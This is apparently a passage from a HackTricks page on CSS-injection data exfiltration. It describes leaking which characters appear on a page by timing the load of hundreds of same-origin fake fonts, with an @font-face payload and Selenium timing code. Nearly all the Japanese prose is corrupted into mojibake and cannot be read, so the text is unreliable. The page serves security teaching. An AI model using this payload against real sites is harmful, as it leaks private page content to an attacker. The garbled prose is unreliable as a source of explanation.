ãããããã£ãã·ã¥ãããã¬ã¹ãã³ã¹ãšéãã£ãã·ã¥ã®ã¬ã¹ãã³ã¹ã®æéå·®ãååã§ãªãå Žåãããã¯åœ¹ã«ç«ã¡ãŸãããäŸãã°ãèè
ã¯æ¬¡ã®ããã«è¿°ã¹ãŠããŸãïŒãããããã¹ãã®çµæãæåã®åé¡ã¯é床ãããŸãå€ãããªãããšã§ãããäºã€ç®ã®åé¡ã¯ãããã disk-cache-size=1
ãã©ã°ã䜿çšããŠããããšã§ãããã¯æ¬åœã«èæ
®ãããŠããŸãã
ããã¹ãããŒãã®æµåº (III): æ°çŸã®ããŒã«ã«ããã©ã³ãããèªã¿èŸŒãæéã«ãã£ãŠæåã»ãããæŒæŽ©ãããïŒå€éšã¢ã»ãããå¿ èŠãšããªãïŒ
åè: ãã㯠ãã®æžã蟌ã¿ã®äžã§ã®å€±æãã解決çãšããŠèšåãããŠããŸã
ãã®å ŽåãäžèŽãçºçãããšãã«åããªãªãžã³ããæ°çŸã®åœãã©ã³ããèªã¿èŸŒãããã«CSSãæå®ã§ããŸãããã®æ¹æ³ã§ããããæéã枬å®ããæåãçŸãããã©ããã次ã®ãããªãã®ã§ç¢ºèªã§ããŸãïŒ
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
ãããŠããããã®ã³ãŒãã¯æ¬¡ã®ããã«ãªããŸãïŒ
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
ãã®ããããã©ã³ããäžèŽããªãå Žåããããã蚪åããéã®å¿çæéã¯çŽ30ç§ã«ãªããšäºæ³ãããŸãããããããã©ã³ããäžèŽããå Žåããã©ã³ããååŸããããã«è€æ°ã®ãªã¯ãšã¹ããéä¿¡ããããããã¯ãŒã¯ã«ç¶ç¶çãªã¢ã¯ãã£ããã£ãçºçããŸãããã®çµæãåæ¢æ¡ä»¶ãæºãããŠå¿çãåãåããŸã§ã«æéãããããŸãããããã£ãŠãå¿çæéã¯ãã©ã³ãã®äžèŽãå€æããææšãšããŠäœ¿çšã§ããŸãã
åèæç®
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã